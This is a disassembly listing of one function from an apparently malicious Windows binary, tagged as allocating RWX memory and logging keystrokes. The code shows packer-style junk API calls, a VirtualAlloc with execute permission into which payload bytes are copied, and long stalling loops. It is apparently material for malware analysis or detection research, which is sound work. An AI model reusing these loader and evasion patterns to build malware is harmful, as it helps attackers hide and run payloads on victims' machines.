Function at 0x4038f7
Capabilities:
Allocate or change rwx memory
Log keystrokes via polling

Disassembly:
mov eax, 0x4c4569
call fcn.004c4390
mov eax, 0x20e8
call fcn.004100c0
push ebx
push esi
xor esi, esi
cmp dword [0x2498374], 0x1c9
push edi
jne 0x403a0f
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
lea eax, [ebp - 0x18f4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
lea eax, [ebp - 0xf4]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoExA]
push esi
lea eax, [ebp - 0xcf4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push esi
push esi
lea eax, [ebp - 0x4f4]
push eax
push esi
push esi
call sub.USER32.dll_DdeQueryStringA
push esi
push 0x402d60
push 0x402d78
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
lea eax, [ebp - 0x7c]
push eax
call fcn.00403c7e
push 0x402d84
push esi
mov dword [ebp - 4], esi
call fcn.004060fd
push esi
call fcn.00406339
add esp, 0xc
lea ecx, [ebp - 0x40]
call fcn.0040330c
lea ecx, [ebp - 0x40]
call fcn.00403325
push esi
call fcn.00405ec1
pop ecx
push esi
call fcn.004063f8
pop ecx
lea eax, [ebp - 0x58]
push eax
call fcn.00403ef0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 1
lea eax, [ebp - 0x58]
mov dword [ebp - 0x14], esi
call fcn.00403f3c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x14], esi
call fcn.00403f3c
lea eax, [ebp - 0xc4]
push eax
call fcn.00403f8f
lea ecx, [ebp - 0xc4]
call fcn.00403fcc
lea eax, [ebp - 0x58]
call fcn.00403f2c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c]
call fcn.00403cf9
add dword [0x2498374], 0x1134b
push 0x402d88
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40
push 0x1000
push dword [0x2498374]
mov dword [0x2498364], eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edi, edi
mov dword [0x247a094], eax
cmp dword [0x2498374], esi
jbe 0x403a7c
cmp dword [0x2498374], 0xa8
mov eax, dword [0x2498dd8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x247a094]
mov byte [ecx + edi], al
jne 0x403a73
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
inc edi
cmp edi, dword [0x2498374]
jb 0x403a4c
xor ebx, ebx
mov eax, dword [0x2498374]
add eax, ebx
cmp eax, 0xe
jne 0x403aec
push esi
lea eax, [ebp - 0x14f4]
push eax
push 0x402d98
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
xor eax, eax
mov word [ebp - 0x34], ax
lea edi, [ebp - 0x32]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x20f4]
push eax
push esi
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
inc ebx
cmp ebx, 0x4fe161
jl 0x403a7e
mov edi, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec edi
jne 0x403afa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x403b2b
inc edi
cmp edi, 0x4f6a4
jl 0x403b14
call fcn.0040381b
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x403b43
call fcn.004038dd
inc edi
cmp edi, 0x6753f
jl 0x403b32
call fcn.004035af
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret